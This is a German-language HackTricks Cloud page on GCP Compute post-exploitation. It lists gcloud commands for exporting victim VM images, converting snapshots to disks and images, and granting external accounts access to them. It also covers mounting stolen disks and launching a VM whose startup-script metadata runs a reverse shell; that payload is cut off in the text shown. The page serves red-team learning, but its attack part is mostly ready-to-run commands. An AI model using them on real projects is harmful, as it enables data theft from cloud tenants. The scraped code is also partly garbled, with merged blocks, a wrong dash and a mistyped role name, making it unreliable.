GCP - Compute Post Exploitation
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Compute
Für weitere Informationen zu Compute und VPC (Networking) siehe:
Images exportieren & lokal untersuchen
Dies würde einem Angreifer ermöglichen, auf die in bereits vorhandenen Images enthaltenen Daten zuzugreifen oder neue Images laufender VMs zu erstellen und auf deren Daten zuzugreifen, ohne Zugriff auf die laufende VM zu haben.
Es ist möglich, ein VM-Image in einen bucket zu exportieren und es dann herunterzuladen und lokal zu mounten mit dem Befehl:
VM-Image exportieren und herunterladen
```bash gcloud compute images export --destination-uri gs://Für die Ausführung dieser Aktion benötigt der Angreifer möglicherweise Berechtigungen für den Storage-Bucket und auf jeden Fall Berechtigungen für cloudbuild, da dieser Service angefragt wird, den Export durchzuführen
Außerdem benötigen dafür das codebuild SA und das compute SA erhöhte Berechtigungen.
Das cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com benötigt:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
Und das SA <project-id>-compute@developer.gserviceaccount.com benötigt:
- oles/compute.storageAdmin
- roles/storage.objectAdmin
Snapshots & Disks lokal exportieren und untersuchen
Es ist nicht möglich, Snapshots und Disks direkt zu exportieren, aber es ist möglich, einen Snapshot in eine Disk zu verwandeln, eine Disk in ein Image und entsprechend der vorherigen Sektion dieses Image zu exportieren, um es lokal zu untersuchen
Disk aus Snapshot erstellen und Image aus Disk
```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]Create an image from a disk
gcloud compute images create [IMAGE_NAME] –source-disk=[NEW_DISK_NAME] –source-disk-zone=[ZONE]
</details>
### Ein Image prüfen und daraus eine VM erstellen
Um auf die **data stored in an image** oder innerhalb einer **running VM** zuzugreifen, von der ein Angreifer **has created an image**, ist es möglich, einem externen Konto Zugriff auf das image zu gewähren:
<details>
<summary>Zugriff auf image gewähren und VM erstellen</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
und dann eine neue VM daraus erstellen:
VM-Instanz aus Image erstellen
```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ```Wenn du deinem externen Account keinen Zugriff auf das image geben konntest, könntest du eine VM mit diesem image im Projekt des Opfers starten und die metadata so setzen, dass eine reverse shell ausgeführt wird, um auf das image zuzugreifen, indem du den Param hinzufügst:
VM mit reverse shell in metadata erstellen
```bash --metadata startup-script='#! /bin/bash echo "hello";Untersuche einen Snapshot/Disk, indem du ihn an eine VM anhängst
Um auf die in einem disk oder einem snapshot gespeicherten Daten zuzugreifen, kannst du den snapshot in ein disk umwandeln, ein disk in ein image konvertieren und den vorherigen Schritten folgen.
Oder du könntest einem externen Account Zugriff gewähren über das disk (wenn der Ausgangspunkt ein snapshot ist, gewähre Zugriff auf den snapshot oder erstelle daraus ein disk):
Zugriff auf disk gewähren
```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ```Die Festplatte an eine Instanz anhängen:
Festplatte an Instanz anhängen
```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ```Die Festplatte innerhalb der VM mounten:
- SSH in die VM:
Per SSH in die VM und Disk mounten
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
- Disk identifizieren: Sobald Sie in der VM sind, identifizieren Sie die neue Disk, indem Sie die Geräte auflisten. Typischerweise finden Sie sie als
/dev/sdb,/dev/sdcusw. - Disk formatieren und mounten (falls es sich um eine neue oder rohe Disk handelt):
- Erstellen Sie einen Mount-Punkt:
Mount-Punkt erstellen und mounten
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
- Disk mounten:
Disk-Gerät mounten
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
Wenn Sie einem externen Projekt keinen Zugriff auf den Snapshot oder die Disk geben können, müssen Sie diese Aktionen möglicherweise in einer Instanz im selben Projekt wie der Snapshot/die Disk durchführen.
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud

